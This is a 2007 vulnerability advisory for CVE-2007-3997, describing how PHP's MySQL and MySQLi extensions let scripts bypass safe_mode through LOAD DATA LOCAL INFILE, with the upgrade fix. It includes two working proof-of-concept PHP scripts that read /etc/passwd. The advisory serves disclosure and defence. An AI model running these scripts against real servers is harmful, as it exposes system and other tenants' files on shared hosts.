PHP MySQL/MySQLi Safe Mode Bypass Vulnerability
Affected Products:
<= PHP 5.2.3
<= PHP 4.4.7
Authors:
Mattias Bengtsson <mattias@secweb.se>
Philip Olausson <po@secweb.se>
Reported:
2007-06-05
Released:
2007-08-30
CVE:
CVE-2007-3997
Issue:
A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction.
Description:
PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.
Details:
By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode.
For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);
Proof Of Concepts:
MySQL:
<?php
file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>
MySQLi:
<?php
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>
Impact:
This issue could have major impact on shared hosting systems.
Solution:
Upgrade PHP to 5.2.4 or 4.4.8
